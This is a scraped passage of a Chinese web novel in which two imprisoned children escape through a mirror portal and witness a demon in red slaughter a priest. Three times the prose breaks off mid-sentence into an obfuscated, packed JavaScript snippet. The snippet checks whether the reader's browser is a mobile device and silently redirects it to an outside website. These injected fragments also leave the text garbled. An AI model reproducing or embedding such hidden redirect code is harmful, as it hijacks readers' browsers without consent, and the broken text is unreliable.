d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629795|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 委屈：“可是我们初次见面的时候，我就已经和你说了啊，我只记得你了。你现在还问，显然是嘴上信了但心里根本没信，我不能生气吗？” 小语：“是个正常人都会怀疑吧！怎么会有人问别人自己是谁啊？这里是教会的监狱，是监狱哦！怎么会有人为了问个问题把自己搭进来的啊？” 小鱼：“私密马赛，真的有人会这么问，这个人就是我，我就是那个大傻子。还有 ，你……” 他一言难尽地偏了下头，想看一眼小语，但碍于姿势看不到。他把她下滑的身体往上垫了垫，忍无可忍地说：“你的身体是钢板吗，只能直不能弯？你趴在我背上啊，现在这个姿势太吃力了！” 小语露出了嫌弃的表情：“诶，不要。我不喜欢和人贴得太近。” 小鱼再次一言难尽地瞥了她一眼，忽然，一个坏主意冒了出来。 他假装脚下一滑，身体突然倾斜，看着马上就要失去平衡：“哎呀，不好了！我要摔倒了！你快抱紧我！” “啊？啊啊啊，你稳一点！”一股即将失重的感觉陡然降临，她迅速闭上眼睛，紧紧抱住小鱼的脖子，将脸埋入他的颈间。 等了一会儿，他俩没摔倒，反而听到他偷笑的声音。 小语面无表情地睁开眼睛，一拳头锤到他肩膀上。 眼看她又要恢复成之前的姿势，小鱼急了：“诶诶诶你别！那个姿势真的累，你累我也累，你趴着不行吗？” 小语：“既然这么累，不如把我放下，我自己走？” 小鱼一脸黑人问号：“你干嘛老要逞强？反正就一这段路，又不背你跑马拉松，我背你到房间不就结束了？而且你好轻，一点都不重。” 小语：“……” 她噘着嘴不说话，不知道又在想什么。但她也没再恢复成之前的姿势，而是自暴自弃地抱着他，还把下巴搁在他肩膀上，像只气鼓鼓的河豚。 小鱼终于满意了：“这就对了，你乖一点……” 小语额角爆出一根青筋，揪住他的包子脸：“不许说这个字！” 小鱼的脸都被她揪变形了，口齿不清地问：“神馍字？” 小语：“让我乖是不可能的，这辈子都不可能的！我可是暗羽议会的成员，是反派，心怀毁灭世界的大志向的反派哦！别把这个可笑的字眼往我身上贴。” 小鱼嘴角抽搐。 差点忘了这货是个中二病。 59.059 说不重肯定是假的，小语没背过人上楼，但是扛过桌椅板凳。才十几斤的东西就累得她中途歇了好几次，何况是几十斤的人。 被这么一闹，小语之前酝酿了想说的话，一下就不知道该怎么说了。 她不确定他还想不想提，到底还在不再生气。 不过他那么想出去，那么想找记忆……等他气消了，他应该会自己会主动提？ 听到喘息声了……真是的，干嘛非要背她。 楼这么高，这么陡，正常不应该是架着她的胳膊扶她上去吗？怎么这么憨……都不知道选一个轻松点的办法。 “……从前的事，我不记得了。”他轻声说道。 楼道里很黑，偶尔月光会从楼道的镂空窗口照进来，在地上印出花的形状。这一朵朵幽静、美丽的、由月光描摹的花朵，宛如在黑夜中绽放的，某些纯白而微小的心事。 前所未有的安宁包裹住他，男孩一直隐隐焦躁着的内心，忽然被一股莫名的力量抚平。 这种感觉……简直不像是他在背着她，反而像是她化作了一张柔软的被子，紧紧地覆盖着他、环绕着他。 小鱼忽而恍惚地想，如果在那个噩梦里，他也能背着她就好了。这样……是不是就不会寂寞，不会痛苦？ 小语眨了眨眼睛。 这是……不生气了？这么快？ 她问：“那你怎么会记得我？我对你没有印象，但你却只记得我。” 小鱼如实回答：“不知道……我醒来后浑浑噩噩，什么都不记得，不知道自己应该去哪儿。直到我看到了你的名字才想起来，你喜欢叫我‘小鱼’。” 还有，他应该不是她未婚夫。她父亲送来的那枚胸针虽然价值不菲，但是造型古板，不够优雅灵动，不是他的审美。 嗐……无论是不是，她都已经退婚了。也不是不能理解她为什么宁愿待在这里，也不愿意和他逃出去。 小语：“还有呢？” 小鱼：“不记得了。” 小语迟疑地喊了一声：“……小鱼？” 她的声音很轻，很柔，吐出的气流像是蝴蝶在耳边轻轻扇动了一下翅膀。男孩身体一僵，耳朵迅速变得通红。 在黑暗的掩护下，小语并没有发现。她正冥思苦想，但还是想不起任何关于他的回忆。 她又问：“那你还记得别的吗？” 小鱼迟疑了一下，然后摇了摇头。那些噩梦里的画面挺让人在意的……不过那应该只是个单纯的噩梦吧……？ 小语低头闷闷地不说话，小鱼还以为她睡着了，没想到过了会儿，她拍拍他的肩膀，自信地说：“我晚上回去订个计划，从明天开始，我帮你进行恢复记忆的训练。” “？”小鱼好奇地问：“这也是可以训练的吗？” 小语：“记忆不会消失，只会暂时因为某种原因想不起来。可能你在失忆前头部遭受重击，血块压迫到神经……” 她说着说着，忽然觉得自己悟了：“我明白了，这是一桩谋杀案！有人想谋杀你，并且差一点得手了！” 小鱼：“？？？这个结论是怎么得出来的？” 小语推了下不存在的眼镜，开始分析：“记得昨天初见你时，你一身贵族少爷的打扮，但我听说你是从墓地里走出来的……我推测，在你失忆之前，可能遭遇了盗贼。盗贼用重物击中你的头部，你倒地后，盗贼误以为你死了，便将你拖至墓地，企图抛尸。然而你大难不死，只是不幸丧失了记忆……” 小鱼眼睛一亮：“哦！你的推测听起来合理！” “让我看看你的头有没有受伤……”她扒拉他的头发，然后遗憾地表示：“……没有。” 小鱼：“……啊。” 小语：“……你什么表情？遗憾的样子也太假了吧？” 小鱼：“只是觉得真相似乎不符合你的推测，它多少有点不知道好歹了。” 小语下意识绷住了嘴角，她依稀记得刚刚他俩还在闹别扭，但是下一秒她就绷不住，笑了出来。 “什么啊……不对就是不对，哪有你这样的……” 小鱼侧过头，月光悄然从斜上方倾泻而下，小语注意到他的嘴角微微上扬，眼中闪烁着像鱼儿一样狡黠而灵动的光芒。他问：“不生气了？” 小语：“……什么？” 小鱼又笑了下，但这次的笑容没那么真心了。 他再度低头看路：“刚刚你回避了我的问题……为什么生气？” 小语的笑容渐渐冷却下来：“……” “难道别人的好意，对于你来说比恶意更让你难以接受吗？可你明明在遭遇了这些无妄之灾后，依然选择向我释放好意。” 小语：“……” 小鱼：“怎么不说话？” 小语：“不知道该说什么。只觉得……这个话题没什么意义。” 走完这段楼梯，转过一个弯，他们再度从光亮处步入黑暗。小语垂下眼睫，收敛起了所有的情绪和想法，正如她过去无数次所做的那样。 或许她自己都不是那么清楚答案，但是她已经不想思考那么多了。 小鱼：“好，那我不说了。我问另一个问题，这也是我来找你的原因。” 小语：“你说。” 小鱼：“我们那本生活守则的第五页和第六页底下的字符是什么？我的那本书被人恶意涂改了，已经看不清了……也不知道是谁干的，素质真差。” 小语：“……什么？”她满脸困惑：“除了页码还能有什么？” 小鱼：“页码？不对啊，这本书没有页码，底下是一串三个数字组合的代码。” 女孩的眼睛慢慢地瞪大，她抓住小鱼肩膀上的衣服，急切道：“不好，你看到的那本守则恐怕有问题。你等会儿拿给我看一下，我和我的比对一下，如果真的不一样，明日我们就去找神父。” 小鱼想到了守则第六条：若您在监狱中发现除本书之外的任何书籍或手稿，无论内容如何，都必须立即上交给神父，私自阅读将受到严厉的惩罚。 他没有阅读其他读物，但如果他看到的守则本身就已经被调包了，那又该怎么说？ 从小语的反应上看，他们看到的守则内容应该大差不差，但如何界定“除本书之外的任何书籍或手稿”，这就大有文章了。 他已经踩过一次坑了，还一踩就踩了个大的，他不知道违反第六条规则会遭遇什么，但这次他不想尝试。 他加快速度，快步往回赶。 小语的监狱和他是同一层，还有十五分钟到宵禁时间，昭昭在房门口焦躁地等小语。 她就住在小语隔壁，迟迟没有等到她回来，因此在门口焦躁地徘徊。 看到小语回来了，她紧锁的眉头舒展开，但是下一秒发现小语是被背着回来的，背人的还是她最讨厌的人，她立刻就不高兴了。 但小语更重要，她满心不爽但还是先迎了上去问小语的情况。小鱼把她送到房间，她本想盘问他的，结果这家伙刚把她放下，就像一条滑不溜秋的鱼一下就窜出去了，昭昭根本抓不住。 抓不住他，她只好抓住挚友盘问。 她按住小语的肩膀，狐疑地眯起眼睛，“你们……什么情况？明明早上还一脸看他不爽，怎么晚上就关系好到能背你回来了？老实交代！” 小语：“别管那些了，你先帮我拿下东西。桌子底下，对对对，那个垫桌角的手册，帮我拿下。” 昭昭一脸嫌弃地把它拿起来，拍拍上面的灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643183|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“我勒个去，这灰……你拿它干嘛？都来这么久了，还用看这个？” 小语：“因为……” 本想如实告诉她的，但话到嘴边，又想到小鱼这家伙很麻烦，惹的事也麻烦，她不想把昭昭牵扯进来，故而说道：“小鱼的那本书被人恶意涂改了，他要借我的去看看。” 说完，她把自己的鞋子脱下，挪了下屁股，靠在墙上。 昭昭拿了伤药给她，小语正要接过去，她却故意把手挪开，贱兮兮地说：“诶～不给～除非你回答我的问题。” 小语：“什么问题？” 昭昭：“别给我装嗷，老实交代，你们关系什么时候变好的，我怎么不知道？” 小语：“老师告诉我，他是因为找我被关进来的。我……觉得他有点惨……” 昭昭恨铁不成钢地咬牙：“都说过很多遍了，心疼男人倒霉一辈子！他被关是因为他蠢，和你没半毛钱关系，你不需要有任何负罪感，懂吗？” 小语笑着摇摇头。既没有反驳挚友的话，但也没有认同。 昭昭大惊：“……难道……难道你是被美色迷惑？我承认这小子的确颇有姿色，但你也沦陷太快了吧！” 她好像很难接受这件事，在房间里来回踱步数圈后，再次走到小语面前，认真地问：“你喜欢他吗？” 小语疑惑地看着挚友。 她问：“你说的喜欢是哪种喜欢？是像我喜欢小鸟，喜欢花朵，喜欢看书，喜欢你，喜欢老师一样的喜欢吗？” “呃咳……！”突如其来的直球打得人措手不及，昭昭连连投降：“我踏马受不了你这个人工智障了，人家在问你严肃的问题好不好！” 小语疑惑地回答：“我很严肃啊，如果你说是这种喜欢的话，那我的回答是——不喜欢。我不觉得我会像喜欢你、喜欢老师一样喜欢他。” 昭昭：“那你的意思是，你对他是恋人一样的喜欢咯？” 小语：“首先，我不理解‘恋人一样的喜欢’是一种什么样的情感，很抽象，你能表达得具体一点吗？其次……我喜欢类型一直是白毛啊，他不符合我的喜好。” 昭昭死鱼眼：“我说的不是这个……哎！我不问你了，人工智障处理不了人类的情感我完全理解，你不要再说话了，我有点血压上来了。” 小语：“……” 让她别说话，她还真就不说话，昭昭感觉自己血压又有点不稳了，人工智障是这样的，她已经习惯了。 真的要到闭锁时间了，不能再拷打小语了，而且拷打她也拷打不出什么来，昭昭只好先和她互道晚安，决定明天拷打那条鱼去。 她刚回房间，小鱼就带着自己的书飞奔来了。 小语早就已经在等着他了，他一来，两人就把书摊开，逐字比对。 得出的结论是，内容没有区别，唯一的区别就是小鱼的那本页码处是代码。 “拯救之道……镜子？”小语托腮沉思。 小鱼：“我猜是镜子里有什么线索。”他叹气：“还以为你这边会有完整版，没想到我这本才是个意外。” 小语忽然提到上午的事：“你在教堂里回应了红衣女。” 小鱼没有隐瞒：“是。” 小语：“你知道十二点为什么不能看镜子吗？” 小鱼摇头。 小语：“因为到了十二点，那个红衣女偶尔会在镜中出没，所以不能照镜子，也不能回应你听到的任何话。但是你已经回应了，这也就代表你已经被她盯上了，避无可避。” 小鱼：“所以……？” 小语笑了一下：“你还想出去吗？” 得到肯定的回答后，她歪了下头，露出一抹坏笑，“那就在十二点照镜子吧。” 60.060 十二点，当教堂钟楼的钟声敲响时，在窗边枯坐了许久的小鱼抬起双眼。 原本紧闭的卫生间门，突然在一阵刺耳的‘吱呀’声中，缓缓开启了一道细缝。 暗香浮动，森白的雾气和女人阴暗的低语从门缝中一同泄露出来，它们仿佛在引诱着这条一心想要逃出池塘奔赴大海的鱼去探索未知的危险。 应该怀疑小语吗？她为什么会认为【她】那里有他想要的东西？ 但……说不定呢？危险中就藏着逃出去的办法呢？ 况且，就算他不去找，危险也已经主动找上门来了。 小鱼将水果刀藏在衣服里，谨慎地、毫无声息地走到卫生间门口，他握住了门把手，随后以一个毫无死角的防御姿势打开了门。 雾气扑面而来。 好阴冷的雾气，那股寒气像一把刮骨刀，从皮肤渗透进去，在骨头上刮了一圈，浑身的血肉都好似在这股寒气中冻成冰块。 “嘻嘻，你来了。” 雾从镜中来，镜中的红衣女人披着那猩红而精美的纱幔，盖住了整张脸和大半个身子，只能隐约看到红纱下微卷的黑发、模糊的轮廓和那微笑着的、艳丽的红唇。美艳凄厉，令人胆寒。 小鱼：“又见面了。” 红衣女人笑道：“你这小鬼，胆子真大……规则上都说了，不能和我搭话，不能在十二点照镜子，但你还是这么做了……” 她上半身从镜中飘出，伸出冰冷苍白的手，抚摸男孩的脸颊，“我猜，你有需要向魔鬼祈祷才能实现的愿望？” 小鱼挑眉：“许愿……？原来你是阿拉丁神灯的定位？那无论向你许什么愿望，你都能实现吗？” 红衣女人：“当然～只不过，需要你付出一些小小的代价。” 小鱼：“代价是什么？” 红衣女人掩唇轻笑，她的手很苍白，但很好看，像古典画中贵妇人的手。 猩红纱幔无风自动，扫过小鱼的皮肤，带来一阵刺痛，让小鱼联想起像浮游在水中的水母，如果碰到了水母的裙子，也会有这种刺痛感。 他仔细看了看红纱，发现这果然不是一层单纯的布料，那上面遍布着极细的纹路，但不是布料的纹理，而像是树叶……不，更像昆虫鞘翅上的脉络。而那时不时如星点般亮起的光也不是他以为的水钻，而是鞘翅上鳞片的反光。 红衣女人冰凉的手轻轻地勾起他的下巴，以含笑的声音说道：“魔鬼做生意比神明讲诚信，可没有提前讨要代价的习惯～放心，我要的，都是你能给的。” 凡是这个话术，后面绝对有个大坑在等着。 小鱼脑袋后仰，躲开她的手，随后抬眸露出一个坏笑：“那你帮我说服小语和我一起逃走。” 红衣女人惊讶地掩唇：“……” 小鱼：“怎么，做不到吗？” 室内忽然变得更阴冷了，更浓厚的雾气从镜中涌出，白雾卷起女人的红纱，像极了在雾中飞舞的红蝴蝶。 红衣女人笑了：“当然……” 就在小鱼以为她要翻脸不是人（虽然本来就不是人），准备大打出手时，却听到她说：“——可以。” 小鱼：“？” 这下错愕的人变成他了。 不是？这就答应了？你能做到吗你就答应？啊？？等等，他是不是还是踩坑了？！ 红衣女人忽然看向某个方位，“哎呀，和你聊得太开心，有人不高兴了~” 小鱼额角爆出青筋：“你哪只眼睛看到我开心啊？” 黑暗中传来昆虫振翅的声音，小鱼偏过头，看到一只艳丽的蓝蝴蝶忽然穿过浓雾，向他飞来。 “是你……？” 是那只蝴蝶……是梦里那只华美昳丽、仿佛将这个世界最纯净的天与最深邃的海披在身上的蓝蝴蝶…… 小鱼伸手，蝴蝶翩然飞至他的手指上，很轻，有点痒。 小鱼小心翼翼地问：“你怎么从梦里飞出来了？” 他的声音很轻，像是怕自己吐出的气流伤害到这只美丽而脆弱的生物。 耳边传来女人轻柔的笑声，几乎是本能反应，小鱼的手离开了藏匿于衣服下的刀柄，护着那只蓝蝴蝶向后退去。 意识到自己在做什么的小鱼警惕地抬头瞪着女人，却发现她已经后退回到了镜子里，镜面漾起的银光水波尚未停歇，模糊了镜中的景象。 镜中传来她似悲似喜的笑声，“【美梦】已至，【噩梦】消散……呵呵呵……记住，你我交易已成，当你如愿时……我便会讨要代价……” 小鱼冷笑：“……说得轻巧，我倒要看看你能怎么说服小语。” 回答他的是一片寂静。 红衣女人已经离开，然而镜中的水波依旧没有停歇，反而还似乎有什么长条状的阴影落在上面，影影绰绰地搅动光影。 这个形状好像是……柳枝？ 怎么会有柳枝的影子落在镜子上？ 蝴蝶从他的掌心飞出来，扑闪着翅膀在他面前飞舞，见他把目光拉回来，却只知道盯着自己没有反应，便飞到他脸颊上蹭了一下，然后又绕着他打着圈儿的飞。 小鱼下意识地抬手，指尖轻轻掠过脸颊。 ……好熟悉的感觉…… 好像有一个人，总是喜欢这么触碰他的脸…… 可是他每次都会不高兴，因为她总是控制不好力道。但……她是谁呢？ 当蝴蝶再次飞到他面前时，小鱼回过神，他问蝴蝶：“你要我跟着你走？” 蓝蝴蝶在空中轻盈起舞，宛如点头示意，随后它振翅飞向镜面，消失在闪烁的银光水波里。 出于某种莫名的直觉，小鱼猛地扭过头，冲向外面窗边的位置，抄起那本手册又迅速折返。 镜中，一只蝴蝶的剪影悄然浮现，他毫不犹豫地跃入镜中，冰凉的镜面仿佛流水般滑过他的肌肤，紧接着，他稳稳地踩在了洗手台上。 蝴蝶不见了，但是他的手腕上不知什么时候系上了一只蓝色的蝴蝶结。 男孩睁大了眼睛，眼眸中星光跃动。从噩梦里醒来时，他手中就抓着这个蝴蝶结。 他戳戳蝴蝶结，“原来是你，你还真的是从梦里来的？” 蝴蝶结不会回答他，也不会绕着他飞。 小鱼只好撇了撇嘴，放下爪子，从洗手台上一跃而下。 出门，发现这里居然是教堂的长廊。 没想到这个传送镜居然直接把他送出了铁丝网范围，只要他从窗户翻出去，可以直接从水里游到对岸去。 但是…… 小鱼忽然听到有脚步声从黑暗的长廊那边传来，连忙又躲了回去。 那脚步声鬼鬼祟祟的，急匆匆从洗手间门口经过，从脚步踩在地板上的声音判断，是个男人。 那个男人径直到中央大殿去了，小鱼若有所思地摸了摸下巴，正要悄悄地从后面跟上，他的胸针居然忽然发光。 吓得小鱼连忙捂住，躲到隔间里。 随着胸针忽然发光，他感觉到手里的书在发烫。 小鱼轻轻将书翻开，前六页还是和之前一样，然而第七页却悄然发生了变化。 原本缀在页尾的红羽印记，此刻已悄然消失，取而代之的是一行字—— 【不要温顺地走进那个良夜】 再翻下一页，还是和之前一样，没有字，只有红羽标志。 小鱼：？ 他“啪”的一下合上了书。 ——我要找线索，你丫和我念起诗了是吧？而且还不把诗念完，差评！ 胸针不发光了，小鱼握住胸针感应了一下……什么都没感觉到。 也是，他又不是羽毛的主人，怎么可能通过羽毛定位小语。而且小语肯定现在在房间里呼呼大睡呢。 他正要出去，忽然，一道灵光击中了他的脑袋。他狼狈地打开窗户，借着朦胧的月色再度翻开手册第七页。 “不对啊……” 之前脑子瓦特了没有想到，现在他忽然意识到，为什么这本书后面几页的页尾处是红羽的标志？ 他和小语的胸针就是红羽啊！ 而且诗句显露的时候，手册不但会发热，他的胸针还会发光，这世上哪有这么巧的事？胸针和这本手册必定有染！ 好怪。 好怪啊…… 这本书必定是帮他逃出去的线索，但这本书又是谁给他的呢？红羽……红羽到底代表了什么？ 而且他明明都已经逃出来了，为什么这本书还在提供信息？ ‘不要温顺地走进那个良夜’这句话，如果不是耍他玩，那这句诗应该就是他下一步行动的线索。 ……到底什么意思？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655715|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 想不通，小鱼打算走一步看一步。虽然他现在就能逃走，他还暂时不能这么做，小语还在里面，他得把她一起带走。 这家伙死犟死犟，真是说不动一点。 好吧……其实，如果那个【噩梦】真的能说服小语和他一起走，那就算她回头来找他索要代价，他也不是不能接受。 还是先回去吧，明日再议。 小鱼从隔间出来，走向洗手台。他抬眼一看，震惊地发现镜子上的传送门已经消失了，触摸之下只能摸到光滑冰凉的镜面。 卧槽他这要怎么回去啊？！ ……没办法了，只能试试能不能从铁丝网翻回去了。 他小心翼翼地在门口张望，确认无人后，便悄悄溜出，按照记忆中的路线来到了礼拜堂。 本该空无一人的礼拜堂此时有人声低语，小鱼想起之前是有个人过来，便小心地藏起来观察。 那是个中年男人，穿着神职人员的衣服，小鱼对他有点印象，好像是白天瞪过小语的神父。 那个男人跪在那原本空无一物，但此刻已被【噩梦】所充斥的画像前，脸上泛起可疑且狂热的红晕，他以朝拜神明般的虔诚姿态祈祷着，口中念道：“恶魔啊恶魔，如果你能回应我的愿望，将你视作神明又有何不可？恶魔，请聆听我的愿望！” 小鱼：……噢哟。 她还真是忙啊，刚从他那边离开，这就来顶神明的班了。啧啧啧，有没有加班费啊？ 画框内的红衣女子动了起来，她询问道：“你的愿望……是什么呢？” 神父抬起头，狂热地说道：“我要你帮我杀了主教！” “哦？呵呵呵呵……”女人冰冷的笑声从画中传来，她拊掌而笑：“有趣有趣，真是有趣的愿望。好，我接受你的愿望。可是……和魔鬼做交易，是有代价的哦？” 神父眼中的恐惧一闪而过，但他似乎又笃信着什么，抬起下巴，说道：“你尽管动手，无论什么代价我都能承受。” 红衣女人笑而不语，她抬起苍白的手，打了个响指。 夜色如墨，一声凄厉的惨叫忽然划破了宁静的夜空，紧接着，重物坠地的沉闷声响传来，最后一切归于死寂。 小鱼一个激灵，瞪大了眼睛。 神父那笃信的表情凝固在脸上，他从地上一骨碌爬起来，恐惧地后退。 “怎么可能？！怪物……怪物!离我远点！！” “哈……哈哈哈哈哈哈哈哈哈哈哈哈哈！！”女人兴奋、阴森地笑起来。 “哎呀～哎呀～”红衣女人从画中飞出来，她兴奋得声音都在颤抖，“没想到堂堂主教大人，居然这么好杀，好意外~~哈哈哈哈哈哈哈哈哈哈哈哈！！” “哎，真让人头疼，得手太快了，我还没想好找你收取什么代价呢~”女人苍白的手变得焦黑，柔软的皮肤变得坚硬，肌肤纹理处流动着岩浆般的血色。尖锐的指甲生长、再生长，月光穿过教堂顶部的彩绘玻璃，她锋利的指甲竟然闪烁着金属般的光泽。 红纱在空中徐徐展开，伪装成布料的鞘翅第一次展开所有褶皱，一对巨大的蝴蝶翅膀在空中轻轻扇动，散发出迷醉而疯狂的光芒。 神父脚下滑了一下，向门口夺命奔逃。 “不过～索取别人生命的愿望，还有什么比生命本身更适合偿还代价呢？” 她扑向神父，在尖锐狰狞的狂笑中将他手撕了。 这不是一句夸张，这是一句客观描述……她真的，物理意义上把神父手撕了。 鲜血如雨一般浇下，落在她鲜红的衣服和翅膀上，于是那红色更美、更鲜艳了，就像一朵得到了甘霖浇灌的鲜花。 她伸出自己被血染红的利爪，那只手上，捏着一颗跳动的心脏。 随即——捏碎。 肉末血浆爆开。 在不久之前，这双手像风一样轻轻拂过男孩的脸颊。 “唔……”细弱的声音，从黑暗的某处传来。 这不是小鱼自己发出的声音，他与红衣女人同时锁定声音的来源。藏在桌子下的人看自己藏不住了，只好现身。 小语捂着口鼻，缓缓地从藏身的桌子下钻出来，她站定，看了眼红衣女人。 “呕！！”她实在绷不住，吐了。 妈的！就算马上就要死！她也得吐爽了再死！！ 61.061 ——不是吧，她怎么在这儿？！……关键是她是从什么时候开始就在这里的啊！！！ 小鱼心底无声尖叫。 他将身体伏得更低，眼中寒光闪过，反手摸向藏在衣服底下的水果刀，握住刀柄，像一只蓄势待发的野兽。 红衣女人好像很意外，她将手中的一团烂肉扔掉，鲜血淋漓的爪子掩住似笑非笑的红唇，“呀！居然被看到了~” 血与碎肉还残存在她的指尖，随着她的动作，鲜血涂抹上那本就诡艳的红唇，仿佛那红唇本就是用血染红的。 “呕！！” 小语看了一眼，又是低头吐出一滩彩虹。 屋内弥漫着浓重的血腥味，小语一直吐到胃里空无一物才勉强停止了呕吐。她擦去眼角的生理盐水，捂住口鼻，尽量避免看到地上的东西，沉默地向后退去。 红衣女人笑道：“打扰了人家的游戏时间，连声招呼都不打，就想走？” 小语：“……” 她的眼睛没有离开红衣女人，礼拜堂有两道门，因为刚刚神父向外跑的原因，其中那个可以通往教堂外的门被红衣女人堵住了，她只好向另一个刚刚小鱼进来的那扇门挪动。 小鱼疑惑地想：小语这家伙怎么不说话，被吓傻了？ 然后下一秒他就想起来了，守则上明确地说过“在任何情况下，您都不得与红衣女人交谈，即使她主动与您搭话，也必须无视她的存在。” 难道只要不与她交谈，她就没法对人造成实质性的伤害吗？ 事实证明果然是这样，红衣女人见小语一直不搭腔，还退出了门外，便一脸无趣地大呼无聊。 小鱼：…… 忽然想穿越回到早上狠抽那个扔掉手册一脸桀骜不驯的自己。 本以为这样就能逃过一劫，谁知走廊的那头忽然响起了杂乱的脚步声。 小语陡然一惊，这才想起来她光顾着红衣女人这边的威胁，都忘记了刚刚主教坠楼身亡，势必会惊动所有神职人员。 如果被人发现他们在这里，不说越狱的罪名，光说主教身亡的锅就很有可能直接扣到他们身上！ 教堂外的那扇门传来越来越近的脚步声，而通往教堂更深处的那侧依旧空无一人。小语的神情突然变得急切，她急切地望向礼拜堂的某个角落，那正是小鱼的位置。 红衣女人已重新融入画作，她那充满恶意的笑容凝固在画布上，与先前无异。 小鱼知道自己不能再藏了，他从藏身的地方一跃而出，身法灵活地穿过桌椅，抓住小语的手就跑。 小鱼边跑边问：“你什么时候来的？你怎么知道我在这里？” 小语：“我一直在这里等你。十二点，如果镜中出现柳枝的倒影，那就代表镜中会开传送。” 小鱼：“等我？为什么？” 小语：“你不是要逃走吗？只是走出了监狱还远远不够，外面那条河你游不过去。” 小鱼：“怎么？里面有食人鱼？” 小语正准备回答，突然听到前方走廊也传来了脚步声。小鱼急忙打开旁边的门，迅速将小语推进去，随后自己也躲了进去。 储物间狭小逼仄，不过小鱼和小语两个孩子挤在里刚刚好。 一群人急匆匆地从门前走过，叫嚷着要烧画。 ——烧画？ 两人对视一眼，皆从对方眼中看到了然。 看来他们是要把红衣女人待着的那幅空画烧掉。 两人凝神屏息，静静地等着门外的人群过去，谁知，门外的火光忽然停住了。 一个男人留在了门口。 他盯着门把手。 这里原本是专门用来堆放杂物的储物间，然而里面堆放的东西已经太久远，而且教会修了新仓库，已经很久没有人触碰过这扇门了，门把手上甚至积了一层灰尘。 虽然他每天都会从门前经过，但每次看到把手上的灰，他都是处于一种想清理但是懒得动手所以就这样吧的状态。 但是现在，门把手那厚厚的灰尘上，出现了一个手印…… 他靠近了门，门缝间透入的光线骤然增强。 小鱼和小语的精神瞬间紧绷。 小鱼默默掏出了水果刀，小语则是从身后的杂物堆里摸出了一根撬棍，两小只发现对方和自己相似的动作，同时看了对方一眼——太黑了看不清——然后又同时扭过头，紧盯着门。 对方的手搭上了把手。 小鱼肌肉绷紧，就等对方进来的一瞬间将其秒杀，忽然—— 一片诡艳的红纱，在眼前落下。 浓郁的玫瑰香和血腥味同时涌入鼻腔，红纱上的玫瑰浮动，宛如黑暗中陡然落下了一团血玫瑰，瞬间将他们笼罩其中。 一只苍白冰冷的手捂住他的嘴，将他用力地向后一拉——他和小语同时撞进了一个阴冷柔软的怀里。 男人推开了门，火把的光照进了储物间—— 火光穿透红纱，将红纱上的鞘翅纹路照得透亮，那纹路里流淌的血液也在这一瞬间变得无比清晰。 ……同样无比清晰的，还有女人身上透出的刺骨寒气，以及‘红纱’轻触肌肤时，如同一排针刺刮过的痛楚。 女人的下巴在他们头顶，瀑布般微卷的长发同样盖在他们身上。抬头看，依然看不清女人的样子，她脸上的妆容比刷在墙上风吹日晒了三年的壁画还要斑驳。 小语受不了这寒气，不过几个呼吸，也就火把往里晃一圈的功夫，她的脸上就已经血色尽失，头发、睫毛上开始结霜，身体无法控制地颤抖。 小鱼悄悄侧身，把她揽到自己怀里。于是他们现在的姿势就变成类似洋葱一层包一层的状态，小语被包在最里面一层。 他虽然也觉得冷，但他的头发上没有结霜，可能他的身体比较恒温……？ 看来红衣女人虽然无法直接对她造成物理伤害，但是可以用寒气造成间接伤害。 小语抬头看他。 她只是单纯地看着他，没有困惑，没有难为情，也没有害怕，什么都没有，她的眼睛里没有任何情绪，因此也没有任何表情。 反应过于平静了，以至于像个AI假人。 男人火把晃了好几下，什么都没有发现，嘟囔道：“奇怪，没人啊……那上面的指印……？” 他想了想，恍然道：“可能有人来找过东西。” 他觉得解释得通，便嘴里叽叽咕咕地走了……但没有关门！很没有素质！ 小鱼与小语交换了一个眼神，彼此紧握武器的手不自觉地加大了力道。 他们的精神并没有松懈下来，反而随着男人的离开而越发紧绷。毕竟走的这个不过只是一个小威胁，接下来他们要面对的才是真正的威胁。 红衣女人：“嘘——他们还没走远，这时候就想恩将仇报对我动手，不怕被发现吗？” 她吐出的寒气扫过两人的头顶，简直比三九寒冬里的风还要阴冷，如果在这里放一个温度计，他们就能看到在‘红纱’笼罩之下的这片小小空间的温度已经跌至零下。 小语的体温迅速流失，连皮肤表面都凝上了一层霜。小鱼把她的脑袋往怀里塞，一只手护住她的头顶，挡住女人吐出的寒气，但好像作用不大的样子。 她艰难地掀开挂满霜寒的睫毛，抬手摸了摸他的侧脸。 他脸上有擦伤，鞘翅上隐藏的鳞片像一根根倒刺，只是轻微的摩擦就可以轻松带走他的皮肤组织。 小语冰块一样的手颤抖着，指腹轻轻擦过伤痕下面的皮肤。不疼，有点痒，像那只蓝蝴蝶蹭他的脸颊时的触感。 小鱼有点看不懂她的眼神，分明没什么表情，却总觉得那晦暗的眼底有什么蛰伏着。 门口又来去匆匆地跑过好几拨人，小鱼把她冻得僵硬的手拉下来放在嘴唇边呵气，搓了搓她的手和手臂，然后塞到自己怀里捂着。 